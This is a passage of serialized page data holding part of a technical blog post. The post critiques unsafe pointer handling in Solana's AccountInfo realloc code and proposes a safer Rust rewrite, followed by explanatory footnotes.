value":18738}," original_data_len_ptr",{"type":24,"tag":158,"props":18740,"children":18741},{"style":222},[18742],{"type":29,"value":462},{"type":24,"tag":158,"props":18744,"children":18745},{"style":177},[18746],{"type":29,"value":18673},{"type":24,"tag":158,"props":18748,"children":18749},{"style":222},[18750],{"type":29,"value":347},{"type":24,"tag":158,"props":18752,"children":18753},{"style":496},[18754],{"type":29,"value":15135},{"type":24,"tag":158,"props":18756,"children":18757},{"style":188},[18758],{"type":29,"value":504},{"type":24,"tag":158,"props":18760,"children":18761},{"style":222},[18762],{"type":29,"value":5987},{"type":24,"tag":158,"props":18764,"children":18765},{"style":465},[18766],{"type":29,"value":18767},"4",{"type":24,"tag":158,"props":18769,"children":18770},{"style":188},[18771],{"type":29,"value":723},{"type":24,"tag":158,"props":18773,"children":18774},{"style":165},[18775],{"type":29,"value":2245},{"type":24,"tag":158,"props":18777,"children":18778},{"style":222},[18779],{"type":29,"value":615},{"type":24,"tag":158,"props":18781,"children":18782},{"style":165},[18783],{"type":29,"value":443},{"type":24,"tag":158,"props":18785,"children":18786},{"style":171},[18787],{"type":29,"value":18788}," u32",{"type":24,"tag":158,"props":18790,"children":18791},{"style":188},[18792],{"type":29,"value":473},{"type":24,"tag":158,"props":18794,"children":18795},{"class":160,"line":700},[18796,18801,18806,18810],{"type":24,"tag":158,"props":18797,"children":18798},{"style":222},[18799],{"type":29,"value":18800}," *",{"type":24,"tag":158,"props":18802,"children":18803},{"style":177},[18804],{"type":29,"value":18805},"original_data_len_ptr",{"type":24,"tag":158,"props":18807,"children":18808},{"style":165},[18809],{"type":29,"value":2231},{"type":24,"tag":158,"props":18811,"children":18812},{"style":171},[18813],{"type":29,"value":18212},{"type":24,"tag":158,"props":18815,"children":18816},{"class":160,"line":785},[18817],{"type":24,"tag":158,"props":18818,"children":18819},{"style":188},[18820],{"type":29,"value":307},{"type":24,"tag":25,"props":18822,"children":18823},{},[18824,18826,18831,18833,18838,18840,18845,18847,18852,18854,18861,18863,18870,18871,18878,18879,18886,18887,18894],{"type":29,"value":18825},"It's marked ",{"type":24,"tag":154,"props":18827,"children":18829},{"className":18828},[],[18830],{"type":29,"value":15590},{"type":29,"value":18832},", properly documented, but there's just one problem: we need this for ",{"type":24,"tag":154,"props":18834,"children":18836},{"className":18835},[],[18837],{"type":29,"value":14872},{"type":29,"value":18839},", which originally was not ",{"type":24,"tag":154,"props":18841,"children":18843},{"className":18842},[],[18844],{"type":29,"value":15590},{"type":29,"value":18846},". So, in the name of not breaking API compatibility, the Solana team just threw the call in an ",{"type":24,"tag":154,"props":18848,"children":18850},{"className":18849},[],[18851],{"type":29,"value":15590},{"type":29,"value":18853}," block and added ",{"type":24,"tag":101,"props":18855,"children":18858},{"href":18856,"rel":18857},"https://docs.rs/solana-program/1.10.30/solana_program/account_info/struct.AccountInfo.html#safety-1",[105],[18859],{"type":29,"value":18860},"a doc comment",{"type":29,"value":18862}," - adding to the ",{"type":24,"tag":101,"props":18864,"children":18867},{"href":18865,"rel":18866},"https://docs.rs/solana-program/1.10.30/solana_program/program/fn.invoke_signed_unchecked.html#safety",[105],[18868],{"type":29,"value":18869},"small",{"type":29,"value":8106},{"type":24,"tag":101,"props":18872,"children":18875},{"href":18873,"rel":18874},"https://docs.rs/solana-program/1.11.2/solana_program/program_memory/fn.sol_memcpy.html#safety",[105],[18876],{"type":29,"value":18877},"pile",{"type":29,"value":8106},{"type":24,"tag":101,"props":18880,"children":18883},{"href":18881,"rel":18882},"https://docs.rs/solana-program/1.11.2/solana_program/program_memory/fn.sol_memset.html#safety",[105],[18884],{"type":29,"value":18885},"of",{"type":29,"value":8106},{"type":24,"tag":101,"props":18888,"children":18891},{"href":18889,"rel":18890},"https://docs.rs/solana-program/1.11.2/solana_program/program_memory/fn.sol_memcmp.html#safety",[105],[18892],{"type":29,"value":18893},"functions",{"type":29,"value":18895}," that are actually unsafe but aren't marked as such for API compatibility reasons (and the last three - all related to each other - don't even have the comment until version 1.11, which isn't even on mainnet as of the time of writing).",{"type":24,"tag":59,"props":18897,"children":18899},{"id":18898},"towards-safer-unsafe",[18900,18902],{"type":29,"value":18901},"Towards safer ",{"type":24,"tag":154,"props":18903,"children":18905},{"className":18904},[],[18906],{"type":29,"value":15590},{"type":24,"tag":25,"props":18908,"children":18909},{},[18910,18912,18917,18919,18924,18926,18933],{"type":29,"value":18911},"Let's circle back to that main ",{"type":24,"tag":154,"props":18913,"children":18915},{"className":18914},[],[18916],{"type":29,"value":15590},{"type":29,"value":18918}," block inside ",{"type":24,"tag":154,"props":18920,"children":18922},{"className":18921},[],[18923],{"type":29,"value":14872},{"type":29,"value":18925}," for a bit, shall we? As a reminder, it looks like ",{"type":24,"tag":101,"props":18927,"children":18930},{"href":18928,"rel":18929},"https://docs.rs/solana-program/1.10.28/src/solana_program/account_info.rs.html#127-136",[105],[18931],{"type":29,"value":18932},"this",{"type":29,"value":225},{"type":24,"tag":147,"props":18935,"children":18937},{"className":151,"code":18936,"language":150,"meta":7,"style":7},"// realloc\nunsafe {\n // First set new length in the serialized data\n let ptr = self.try_borrow_mut_data()?.as_mut_ptr().offset(-8) as *mut u64;\n *ptr = new_len as u64;\n\n // Then set the new length in the local slice\n let ptr = &mut *(((self.data.as_ptr() as *const u64).offset(1) as u64) as *mut u64);\n *ptr = new_len as u64;\n}\n",[18938],{"type":24,"tag":154,"props":18939,"children":18940},{"__ignoreMap":7},[18941,18949,18960,18968,19055,19086,19093,19101,19228,19259],{"type":24,"tag":158,"props":18942,"children":18943},{"class":160,"line":161},[18944],{"type":24,"tag":158,"props":18945,"children":18946},{"style":2588},[18947],{"type":29,"value":18948},"// realloc\n",{"type":24,"tag":158,"props":18950,"children":18951},{"class":160,"line":213},[18952,18956],{"type":24,"tag":158,"props":18953,"children":18954},{"style":165},[18955],{"type":29,"value":15590},{"type":24,"tag":158,"props":18957,"children":18958},{"style":188},[18959],{"type":29,"value":210},{"type":24,"tag":158,"props":18961,"children":18962},{"class":160,"line":238},[18963],{"type":24,"tag":158,"props":18964,"children":18965},{"style":2588},[18966],{"type":29,"value":18967}," // First set new length in the serialized data\n",{"type":24,"tag":158,"props":18969,"children":18970},{"class":160,"line":259},[18971,18975,18979,18983,18987,18991,18995,18999,19003,19007,19011,19015,19019,19023,19027,19031,19035,19039,19043,19047,19051],{"type":24,"tag":158,"props":18972,"children":18973},{"style":165},[18974],{"type":29,"value":2710},{"type":24,"tag":158,"props":18976,"children":18977},{"style":177},[18978],{"type":29,"value":15091},{"type":24,"tag":158,"props":18980,"children":18981},{"style":222},[18982],{"type":29,"value":462},{"type":24,"tag":158,"props":18984,"children":18985},{"style":165},[18986],{"type":29,"value":15031},{"type":24,"tag":158,"props":18988,"children":18989},{"style":222},[18990],{"type":29,"value":347},{"type":24,"tag":158,"props":18992,"children":18993},{"style":496},[18994],{"type":29,"value":15108},{"type":24,"tag":158,"props":18996,"children":18997},{"style":188},[18998],{"type":29,"value":15113},{"type":24,"tag":158,"props":19000,"children":19001},{"style":222},[19002],{"type":29,"value":4798},{"type":24,"tag":158,"props":19004,"children":19005},{"style":496},[19006],{"type":29,"value":15122},{"type":24,"tag":158,"props":19008,"children":19009},{"style":188},[19010],{"type":29,"value":15113},{"type":24,"tag":158,"props":19012,"children":19013},{"style":222},[19014],{"type":29,"value":347},{"type":24,"tag":158,"props":19016,"children":19017},{"style":496},[19018],{"type":29,"value":15135},{"type":24,"tag":158,"props":19020,"children":19021},{"style":188},[19022],{"type":29,"value":504},{"type":24,"tag":158,"props":19024,"children":19025},{"style":222},[19026],{"type":29,"value":5987},{"type":24,"tag":158,"props":19028,"children":19029},{"style":465},[19030],{"type":29,"value":5736},{"type":24,"tag":158,"props":19032,"children":19033},{"style":188},[19034],{"type":29,"value":723},{"type":24,"tag":158,"props":19036,"children":19037},{"style":165},[19038],{"type":29,"value":2245},{"type":24,"tag":158,"props":19040,"children":19041},{"style":222},[19042],{"type":29,"value":615},{"type":24,"tag":158,"props":19044,"children":19045},{"style":165},[19046],{"type":29,"value":2169},{"type":24,"tag":158,"props":19048,"children":19049},{"style":171},[19050],{"type":29,"value":230},{"type":24,"tag":158,"props":19052,"children":19053},{"style":188},[19054],{"type":29,"value":473},{"type":24,"tag":158,"props":19056,"children":19057},{"class":160,"line":280},[19058,19062,19066,19070,19074,19078,19082],{"type":24,"tag":158,"props":19059,"children":19060},{"style":222},[19061],{"type":29,"value":18800},{"type":24,"tag":158,"props":19063,"children":19064},{"style":177},[19065],{"type":29,"value":15183},{"type":24,"tag":158,"props":19067,"children":19068},{"style":222},[19069],{"type":29,"value":462},{"type":24,"tag":158,"props":19071,"children":19072},{"style":177},[19073],{"type":29,"value":15192},{"type":24,"tag":158,"props":19075,"children":19076},{"style":165},[19077],{"type":29,"value":2231},{"type":24,"tag":158,"props":19079,"children":19080},{"style":171},[19081],{"type":29,"value":230},{"type":24,"tag":158,"props":19083,"children":19084},{"style":188},[19085],{"type":29,"value":473},{"type":24,"tag":158,"props":19087,"children":19088},{"class":160,"line":301},[19089],{"type":24,"tag":158,"props":19090,"children":19091},{"emptyLinePlaceholder":16},[19092],{"type":29,"value":481},{"type":24,"tag":158,"props":19094,"children":19095},{"class":160,"line":626},[19096],{"type":24,"tag":158,"props":19097,"children":19098},{"style":2588},[19099],{"type":29,"value":19100}," // Then set the new length in the local slice\n",{"type":24,"tag":158,"props":19102,"children":19103},{"class":160,"line":668},[19104,19108,19112,19116,19120,19124,19128,19132,19136,19140,19144,19148,19152,19156,19160,19164,19168,19172,19176,19180,19184,19188,19192,19196,19200,19204,19208,19212,19216,19220,19224],{"type":24,"tag":158,"props":19105,"children":19106},{"style":165},[19107],{"type":29,"value":2710},{"type":24,"tag":158,"props":19109,"children":19110},{"style":177},[19111],{"type":29,"value":15091},{"type":24,"tag":158,"props":19113,"children":19114},{"style":222},[19115],{"type":29,"value":462},{"type":24,"tag":158,"props":19117,"children":19118},{"style":222},[19119],{"type":29,"value":8784},{"type":24,"tag":158,"props":19121,"children":19122},{"style":165},[19123],{"type":29,"value":2169},{"type":24,"tag":158,"props":19125,"children":19126},{"style":222},[19127],{"type":29,"value":615},{"type":24,"tag":158,"props":19129,"children":19130},{"style":188},[19131],{"type":29,"value":15251},{"type":24,"tag":158,"props":19133,"children":19134},{"style":165},[19135],{"type":29,"value":14947},{"type":24,"tag":158,"props":19137,"children":19138},{"style":222},[19139],{"type":29,"value":347},{"type":24,"tag":158,"props":19141,"children":19142},{"style":188},[19143],{"type":29,"value":5361},{"type":24,"tag":158,"props":19145,"children":19146},{"style":222},[19147],{"type":29,"value":347},{"type":24,"tag":158,"props":19149,"children":19150},{"style":496},[19151],{"type":29,"value":15272},{"type":24,"tag":158,"props":19153,"children":19154},{"style":188},[19155],{"type":29,"value":15277},{"type":24,"tag":158,"props":19157,"children":19158},{"style":165},[19159],{"type":29,"value":2245},{"type":24,"tag":158,"props":19161,"children":19162},{"style":222},[19163],{"type":29,"value":615},{"type":24,"tag":158,"props":19165,"children":19166},{"style":165},[19167],{"type":29,"value":443},{"type":24,"tag":158,"props":19169,"children":19170},{"style":171},[19171],{"type":29,"value":230},{"type":24,"tag":158,"props":19173,"children":19174},{"style":188},[19175],{"type":29,"value":521},{"type":24,"tag":158,"props":19177,"children":19178},{"style":222},[19179],{"type":29,"value":347},{"type":24,"tag":158,"props":19181,"children":19182},{"style":496},[19183],{"type":29,"value":15135},{"type":24,"tag":158,"props":19185,"children":19186},{"style":188},[19187],{"type":29,"value":504},{"type":24,"tag":158,"props":19189,"children":19190},{"style":465},[19191],{"type":29,"value":5672},{"type":24,"tag":158,"props":19193,"children":19194},{"style":188},[19195],{"type":29,"value":723},{"type":24,"tag":158,"props":19197,"children":19198},{"style":165},[19199],{"type":29,"value":2245},{"type":24,"tag":158,"props":19201,"children":19202},{"style":171},[19203],{"type":29,"value":230},{"type":24,"tag":158,"props":19205,"children":19206},{"style":188},[19207],{"type":29,"value":723},{"type":24,"tag":158,"props":19209,"children":19210},{"style":165},[19211],{"type":29,"value":2245},{"type":24,"tag":158,"props":19213,"children":19214},{"style":222},[19215],{"type":29,"value":615},{"type":24,"tag":158,"props":19217,"children":19218},{"style":165},[19219],{"type":29,"value":2169},{"type":24,"tag":158,"props":19221,"children":19222},{"style":171},[19223],{"type":29,"value":230},{"type":24,"tag":158,"props":19225,"children":19226},{"style":188},[19227],{"type":29,"value":1071},{"type":24,"tag":158,"props":19229,"children":19230},{"class":160,"line":676},[19231,19235,19239,19243,19247,19251,19255],{"type":24,"tag":158,"props":19232,"children":19233},{"style":222},[19234],{"type":29,"value":18800},{"type":24,"tag":158,"props":19236,"children":19237},{"style":177},[19238],{"type":29,"value":15183},{"type":24,"tag":158,"props":19240,"children":19241},{"style":222},[19242],{"type":29,"value":462},{"type":24,"tag":158,"props":19244,"children":19245},{"style":177},[19246],{"type":29,"value":15192},{"type":24,"tag":158,"props":19248,"children":19249},{"style":165},[19250],{"type":29,"value":2231},{"type":24,"tag":158,"props":19252,"children":19253},{"style":171},[19254],{"type":29,"value":230},{"type":24,"tag":158,"props":19256,"children":19257},{"style":188},[19258],{"type":29,"value":473},{"type":24,"tag":158,"props":19260,"children":19261},{"class":160,"line":684},[19262],{"type":24,"tag":158,"props":19263,"children":19264},{"style":188},[19265],{"type":29,"value":307},{"type":24,"tag":25,"props":19267,"children":19268},{},[19269,19271,19276],{"type":29,"value":19270},"We've seen how we could have ran into all sorts of issues here, with the usage of slice layout details, the reborrow creating an unbounded lifetime, and the ",{"type":24,"tag":154,"props":19272,"children":19274},{"className":19273},[],[19275],{"type":29,"value":16739},{"type":29,"value":19277}," borrow not accurately representing the actual usage of its contents. We can do better than this.",{"type":24,"tag":25,"props":19279,"children":19280},{},[19281,19283,19288,19290,19295,19297,19302,19304,19309,19311,19316,19318,19324,19326,19336,19338,19349],{"type":29,"value":19282},"First, let's deal with the ",{"type":24,"tag":154,"props":19284,"children":19286},{"className":19285},[],[19287],{"type":29,"value":16739},{"type":29,"value":19289}," borrowing issue. When we ",{"type":24,"tag":154,"props":19291,"children":19293},{"className":19292},[],[19294],{"type":29,"value":15108},{"type":29,"value":19296},", we get a ",{"type":24,"tag":154,"props":19298,"children":19300},{"className":19299},[],[19301],{"type":29,"value":17979},{"type":29,"value":19303}," back, which represents our borrow of the ",{"type":24,"tag":154,"props":19305,"children":19307},{"className":19306},[],[19308],{"type":29,"value":16739},{"type":29,"value":19310},"'s data. The fix here is simple: keep that ",{"type":24,"tag":154,"props":19312,"children":19314},{"className":19313},[],[19315],{"type":29,"value":17979},{"type":29,"value":19317}," around and use it to access the data, instead of using ",{"type":24,"tag":154,"props":19319,"children":19321},{"className":19320},[],[19322],{"type":29,"value":19323},"RefCell::as_ptr",{"type":29,"value":19325},". Next, the slice; again, the fix is simple. Instead of attempting to modify just the length field, and resorting to using layout information to do so since Rust slices are immutable, we can simply construct a new slice reference and set that. The Rust compiler",{"type":24,"tag":16709,"props":19327,"children":19328},{},[19329],{"type":24,"tag":101,"props":19330,"children":19334},{"href":19331,"ariaDescribedBy":19332,"dataFootnoteRef":7,"id":19333},"#user-content-fn-rustc-llvm",[16716],"user-content-fnref-rustc-llvm",[19335],{"type":29,"value":18767},{"type":29,"value":19337}," is smart enough to realize that the only thing changing is the length field, and so only emits the code to set the length",{"type":24,"tag":16709,"props":19339,"children":19340},{},[19341],{"type":24,"tag":101,"props":19342,"children":19346},{"href":19343,"ariaDescribedBy":19344,"dataFootnoteRef":7,"id":19345},"#user-content-fn-godbolt",[16716],"user-content-fnref-godbolt",[19347],{"type":29,"value":19348},"5",{"type":29,"value":19350},". So then we get:",{"type":24,"tag":147,"props":19352,"children":19354},{"className":151,"code":19353,"language":150,"meta":7,"style":7},"let mut slice = self.try_borrow_mut_data()?;\n\n// First set new length in the serialized data\nlet ptr = unsafe { slice.as_mut_ptr().offset(-8) } as *mut u64;\nunsafe { *ptr = new_len as u64 };\n\n// Then set the new length in the local slice\n*slice = unsafe { std::slice::from_raw_parts_mut(slice.as_mut_ptr(), new_len) };\n",[19355],{"type":24,"tag":154,"props":19356,"children":19357},{"__ignoreMap":7},[19358,19402,19409,19416,19500,19540,19547,19554],{"type":24,"tag":158,"props":19359,"children":19360},{"class":160,"line":161},[19361,19365,19369,19374,19378,19382,19386,19390,19394,19398],{"type":24,"tag":158,"props":19362,"children":19363},{"style":165},[19364],{"type":29,"value":2662},{"type":24,"tag":158,"props":19366,"children":19367},{"style":165},[19368],{"type":29,"value":4676},{"type":24,"tag":158,"props":19370,"children":19371},{"style":177},[19372],{"type":29,"value":19373}," slice",{"type":24,"tag":158,"props":19375,"children":19376},{"style":222},[19377],{"type":29,"value":462},{"type":24,"tag":158,"props":19379,"children":19380},{"style":165},[19381],{"type":29,"value":15031},{"type":24,"tag":158,"props":19383,"children":19384},{"style":222},[19385],{"type":29,"value":347},{"type":24,"tag":158,"props":19387,"children":19388},{"style":496},[19389],{"type":29,"value":15108},{"type":24,"tag":158,"props":19391,"children":19392},{"style":188},[19393],{"type":29,"value":15113},{"type":24,"tag":158,"props":19395,"children":19396},{"style":222},[19397],{"type":29,"value":4820},{"type":24,"tag":158,"props":19399,"children":19400},{"style":188},[19401],{"type":29,"value":473},{"type":24,"tag":158,"props":19403,"children":19404},{"class":160,"line":213},[19405],{"type":24,"tag":158,"props":19406,"children":19407},{"emptyLinePlaceholder":16},[19408],{"type":29,"value":481},{"type":24,"tag":158,"props":19410,"children":19411},{"class":160,"line":238},[19412],{"type":24,"tag":158,"props":19413,"children":19414},{"style":2588},[19415],{"type":29,"value":15637},{"type":24,"tag":158,"props":19417,"children":19418},{"class":160,"line":259},[19419,19423,19427,19431,19435,19439,19443,19447,19451,19455,19459,19463,19467,19471,19475,19480,19484,19488,19492,19496],{"type":24,"tag":158,"props":19420,"children":19421},{"style":165},[19422],{"type":29,"value":2662},{"type":24,"tag":158,"props":19424,"children":19425},{"style":177},[19426],{"type":29,"value":15091},{"type":24,"tag":158,"props":19428,"children":19429},{"style":222},[19430],{"type":29,"value":462},{"type":24,"tag":158,"props":19432,"children":19433},{"style":165},[19434],{"type":29,"value":15824},{"type":24,"tag":158,"props":19436,"children":19437},{"style":188},[19438],{"type":29,"value":372},{"type":24,"tag":158,"props":19440,"children":19441},{"style":177},[19442],{"type":29,"value":16548},{"type":24,"tag":158,"props":19444,"children":19445},{"style":222},[19446],{"type":29,"value":347},{"type":24,"tag":158,"props":19448,"children":19449},{"style":496},[19450],{"type":29,"value":15122},{"type":24,"tag":158,"props":19452,"children":19453},{"style":188},[19454],{"type":29,"value":15113},{"type":24,"tag":158,"props":19456,"children":19457},{"style":222},[19458],{"type":29,"value":347},{"type":24,"tag":158,"props":19460,"children":19461},{"style":496},[19462],{"type":29,"value":15135},{"type":24,"tag":158,"props":19464,"children":19465},{"style":188},[19466],{"type":29,"value":504},{"type":24,"tag":158,"props":19468,"children":19469},{"style":222},[19470],{"type":29,"value":5987},{"type":24,"tag":158,"props":19472,"children":19473},{"style":465},[19474],{"type":29,"value":5736},{"type":24,"tag":158,"props":19476,"children":19477},{"style":188},[19478],{"type":29,"value":19479},") } ",{"type":24,"tag":158,"props":19481,"children":19482},{"style":165},[19483],{"type":29,"value":2245},{"type":24,"tag":158,"props":19485,"children":19486},{"style":222},[19487],{"type":29,"value":615},{"type":24,"tag":158,"props":19489,"children":19490},{"style":165},[19491],{"type":29,"value":2169},{"type":24,"tag":158,"props":19493,"children":19494},{"style":171},[19495],{"type":29,"value":230},{"type":24,"tag":158,"props":19497,"children":19498},{"style":188},[19499],{"type":29,"value":473},{"type":24,"tag":158,"props":19501,"children":19502},{"class":160,"line":280},[19503,19507,19511,19515,19519,19523,19527,19531,19535],{"type":24,"tag":158,"props":19504,"children":19505},{"style":165},[19506],{"type":29,"value":15590},{"type":24,"tag":158,"props":19508,"children":19509},{"style":188},[19510],{"type":29,"value":372},{"type":24,"tag":158,"props":19512,"children":19513},{"style":222},[19514],{"type":29,"value":577},{"type":24,"tag":158,"props":19516,"children":19517},{"style":177},[19518],{"type":29,"value":15183},{"type":24,"tag":158,"props":19520,"children":19521},{"style":222},[19522],{"type":29,"value":462},{"type":24,"tag":158,"props":19524,"children":19525},{"style":177},[19526],{"type":29,"value":15192},{"type":24,"tag":158,"props":19528,"children":19529},{"style":165},[19530],{"type":29,"value":2231},{"type":24,"tag":158,"props":19532,"children":19533},{"style":171},[19534],{"type":29,"value":230},{"type":24,"tag":158,"props":19536,"children":19537},{"style":188},[19538],{"type":29,"value":19539}," };\n",{"type":24,"tag":158,"props":19541,"children":19542},{"class":160,"line":301},[19543],{"type":24,"tag":158,"props":19544,"children":19545},{"emptyLinePlaceholder":16},[19546],{"type":29,"value":481},{"type":24,"tag":158,"props":19548,"children":19549},{"class":160,"line":626},[19550],{"type":24,"tag":158,"props":19551,"children":19552},{"style":2588},[19553],{"type":29,"value":17376},{"type":24,"tag":158,"props":19555,"children":19556},{"class":160,"line":668},[19557,19561,19565,19569,19573,19578,19582,19586,19590,19595,19599,19603,19607,19611,19616,19620],{"type":24,"tag":158,"props":19558,"children":19559},{"style":222},[19560],{"type":29,"value":577},{"type":24,"tag":158,"props":19562,"children":19563},{"style":177},[19564],{"type":29,"value":16548},{"type":24,"tag":158,"props":19566,"children":19567},{"style":222},[19568],{"type":29,"value":462},{"type":24,"tag":158,"props":19570,"children":19571},{"style":165},[19572],{"type":29,"value":15824},{"type":24,"tag":158,"props":19574,"children":19575},{"style":188},[19576],{"type":29,"value":19577}," { std",{"type":24,"tag":158,"props":19579,"children":19580},{"style":222},[19581],{"type":29,"value":2146},{"type":24,"tag":158,"props":19583,"children":19584},{"style":188},[19585],{"type":29,"value":16548},{"type":24,"tag":158,"props":19587,"children":19588},{"style":222},[19589],{"type":29,"value":2146},{"type":24,"tag":158,"props":19591,"children":19592},{"style":496},[19593],{"type":29,"value":19594},"from_raw_parts_mut",{"type":24,"tag":158,"props":19596,"children":19597},{"style":188},[19598],{"type":29,"value":504},{"type":24,"tag":158,"props":19600,"children":19601},{"style":177},[19602],{"type":29,"value":16548},{"type":24,"tag":158,"props":19604,"children":19605},{"style":222},[19606],{"type":29,"value":347},{"type":24,"tag":158,"props":19608,"children":19609},{"style":496},[19610],{"type":29,"value":15122},{"type":24,"tag":158,"props":19612,"children":19613},{"style":188},[19614],{"type":29,"value":19615},"(), ",{"type":24,"tag":158,"props":19617,"children":19618},{"style":177},[19619],{"type":29,"value":14956},{"type":24,"tag":158,"props":19621,"children":19622},{"style":188},[19623],{"type":29,"value":15979},{"type":24,"tag":25,"props":19625,"children":19626},{},[19627,19629,19634,19636,19641,19643,19648,19650],{"type":29,"value":19628},"No more pointer casting except for the one place that actually needs it (since the ABI for the serialized buffer uses a ",{"type":24,"tag":154,"props":19630,"children":19632},{"className":19631},[],[19633],{"type":29,"value":4269},{"type":29,"value":19635}," and not a ",{"type":24,"tag":154,"props":19637,"children":19639},{"className":19638},[],[19640],{"type":29,"value":17838},{"type":29,"value":19642}," for the size field, given that ",{"type":24,"tag":154,"props":19644,"children":19646},{"className":19645},[],[19647],{"type":29,"value":17838},{"type":29,"value":19649}," is architecture-dependent), and no dependency on slice reference internals!",{"type":24,"tag":16709,"props":19651,"children":19652},{},[19653],{"type":24,"tag":101,"props":19654,"children":19658},{"href":19655,"ariaDescribedBy":19656,"dataFootnoteRef":7,"id":19657},"#user-content-fn-slice-unbound-lifetime",[16716],"user-content-fnref-slice-unbound-lifetime",[19659],{"type":29,"value":19660},"6",{"type":24,"tag":19662,"props":19663,"children":19666},"section",{"className":19664,"dataFootnotes":7},[19665],"footnotes",[19667,19674],{"type":24,"tag":59,"props":19668,"children":19671},{"className":19669,"id":16716},[19670],"sr-only",[19672],{"type":29,"value":19673},"Footnotes",{"type":24,"tag":1786,"props":19675,"children":19676},{},[19677,19782,19800,19855,19868,19896],{"type":24,"tag":1790,"props":19678,"children":19680},{"id":19679},"user-content-fn-rc-refs",[19681,19683,19689,19691,19696,19698,19702,19704,19708,19710,19715,19717,19723,19725,19730,19732,19742,19744,19749,19751,19756,19758,19763,19765,19771,19773],{"type":29,"value":19682},"I find it helpful to view owning an ",{"type":24,"tag":154,"props":19684,"children":19686},{"className":19685},[],[19687],{"type":29,"value":19688},"Rc\u003CT>",{"type":29,"value":19690}," as holding a shared reference to the underlying ",{"type":24,"tag":154,"props":19692,"children":19694},{"className":19693},[],[19695],{"type":29,"value":7637},{"type":29,"value":19697}," (stored in the magical land of I-don't-need-to-care-about-this-object-not-living-long-enough known as the heap). Owning the ",{"type":24,"tag":32,"props":19699,"children":19700},{},[19701],{"type":29,"value":17694},{"type":29,"value":19703}," ensures that the actual ",{"type":24,"tag":32,"props":19705,"children":19706},{},[19707],{"type":29,"value":5361},{"type":29,"value":19709}," stays alive, however all you have is a reference to the ",{"type":24,"tag":154,"props":19711,"children":19713},{"className":19712},[],[19714],{"type":29,"value":7637},{"type":29,"value":19716}," (through the ",{"type":24,"tag":154,"props":19718,"children":19720},{"className":19719},[],[19721],{"type":29,"value":19722},"Deref\u003CTarget = T>",{"type":29,"value":19724}," impl) - ",{"type":24,"tag":32,"props":19726,"children":19727},{},[19728],{"type":29,"value":19729},"not",{"type":29,"value":19731}," ownership ",{"type":24,"tag":32,"props":19733,"children":19734},{},[19735,19737],{"type":29,"value":19736},"of the ",{"type":24,"tag":154,"props":19738,"children":19740},{"className":19739},[],[19741],{"type":29,"value":7637},{"type":29,"value":19743},". In short, owning an ",{"type":24,"tag":154,"props":19745,"children":19747},{"className":19746},[],[19748],{"type":29,"value":19688},{"type":29,"value":19750}," is owning a (shared, read-only) reference to ",{"type":24,"tag":154,"props":19752,"children":19754},{"className":19753},[],[19755],{"type":29,"value":7637},{"type":29,"value":19757},", not owning ",{"type":24,"tag":154,"props":19759,"children":19761},{"className":19760},[],[19762],{"type":29,"value":7637},{"type":29,"value":19764}," directly like with ",{"type":24,"tag":154,"props":19766,"children":19768},{"className":19767},[],[19769],{"type":29,"value":19770},"Box\u003CT>",{"type":29,"value":19772},". ",{"type":24,"tag":101,"props":19774,"children":19779},{"href":19775,"ariaLabel":19776,"className":19777,"dataFootnoteBackref":7},"#user-content-fnref-rc-refs","Back to reference 1",[19778],"data-footnote-backref",[19780],{"type":29,"value":19781},"↩",{"type":24,"tag":1790,"props":19783,"children":19785},{"id":19784},"user-content-fn-sendsync",[19786,19792,19793],{"type":24,"tag":154,"props":19787,"children":19789},{"className":19788},[],[19790],{"type":29,"value":19791},"!Send + !Sync",{"type":29,"value":8106},{"type":24,"tag":101,"props":19794,"children":19798},{"href":19795,"ariaLabel":19796,"className":19797,"dataFootnoteBackref":7},"#user-content-fnref-sendsync","Back to reference 2",[19778],[19799],{"type":29,"value":19781},{"type":24,"tag":1790,"props":19801,"children":19803},{"id":19802},"user-content-fn-layout",[19804,19806,19811,19812,19825,19827,19832,19834,19839,19841,19846,19848],{"type":29,"value":19805},"Note that this is a terrible idea for yet another reason: ",{"type":24,"tag":154,"props":19807,"children":19809},{"className":19808},[],[19810],{"type":29,"value":16173},{"type":29,"value":816},{"type":24,"tag":101,"props":19813,"children":19816},{"href":19814,"rel":19815},"https://docs.rs/solana-program/1.10.30/src/solana_program/account_info.rs.html#15-33",[105],[19817,19819],{"type":29,"value":19818},"not declared with ",{"type":24,"tag":154,"props":19820,"children":19822},{"className":19821},[],[19823],{"type":29,"value":19824},"#[repr(C)]",{"type":29,"value":19826},", meaning that, once again, we're dealing with no layout guarantees. But thanks to the power of blockchain, fixing this ABI interface ",{"type":24,"tag":32,"props":19828,"children":19829},{},[19830],{"type":29,"value":19831},"breaks the entire chain",{"type":29,"value":19833}," since old contracts will no longer work. So, we're stuck with cobbling together ",{"type":24,"tag":32,"props":19835,"children":19836},{},[19837],{"type":29,"value":19838},"some",{"type":29,"value":19840}," kind of interface to the specific layout of the specific ",{"type":24,"tag":154,"props":19842,"children":19844},{"className":19843},[],[19845],{"type":29,"value":17746},{"type":29,"value":19847}," versions used to build on-chain code for all eternity... ",{"type":24,"tag":101,"props":19849,"children":19853},{"href":19850,"ariaLabel":19851,"className":19852,"dataFootnoteBackref":7},"#user-content-fnref-layout","Back to reference 3",[19778],[19854],{"type":29,"value":19781},{"type":24,"tag":1790,"props":19856,"children":19858},{"id":19857},"user-content-fn-rustc-llvm",[19859,19861],{"type":29,"value":19860},"Actually, it's LLVM that does the optimization ",{"type":24,"tag":101,"props":19862,"children":19866},{"href":19863,"ariaLabel":19864,"className":19865,"dataFootnoteBackref":7},"#user-content-fnref-rustc-llvm","Back to reference 4",[19778],[19867],{"type":29,"value":19781},{"type":24,"tag":1790,"props":19869,"children":19871},{"id":19870},"user-content-fn-godbolt",[19872,19879,19881,19887,19889],{"type":24,"tag":101,"props":19873,"children":19876},{"href":19874,"rel":19875},"https://godbolt.org/z/PK46xMbxc",[105],[19877],{"type":29,"value":19878},"Click here",{"type":29,"value":19880}," for a Compiler Explorer link showing this - note that the code for both implementations is almost identical. And yes, it's x86_64 and not eBPF, but unfortunately Compiler Explorer doesn't have Rust ",{"type":24,"tag":154,"props":19882,"children":19884},{"className":19883},[],[19885],{"type":29,"value":19886},"libcore",{"type":29,"value":19888}," available for other architectures yet. ",{"type":24,"tag":101,"props":19890,"children":19894},{"href":19891,"ariaLabel":19892,"className":19893,"dataFootnoteBackref":7},"#user-content-fnref-godbolt","Back to reference 5",[19778],[19895],{"type":29,"value":19781},{"type":24,"tag":1790,"props":19897,"children":19899},{"id":19898},"user-content-fn-slice-unbound-lifetime",[19900,19902,19907,19909,19915,19917,19923,19925,19931,19933,19939,19941,19947,19949,19954,19956],{"type":29,"value":19901},"The astute reader may have noticed that 